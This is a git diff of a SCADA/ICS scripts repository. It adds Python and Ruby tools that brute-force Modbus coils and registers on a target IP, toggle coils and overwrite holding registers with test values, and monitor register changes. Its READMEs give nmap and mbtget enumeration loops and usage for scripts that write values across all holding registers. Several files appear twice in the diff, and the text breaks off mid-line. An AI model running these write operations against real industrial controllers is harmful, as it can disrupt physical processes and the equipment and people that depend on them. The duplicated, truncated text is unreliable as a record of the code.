#coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if 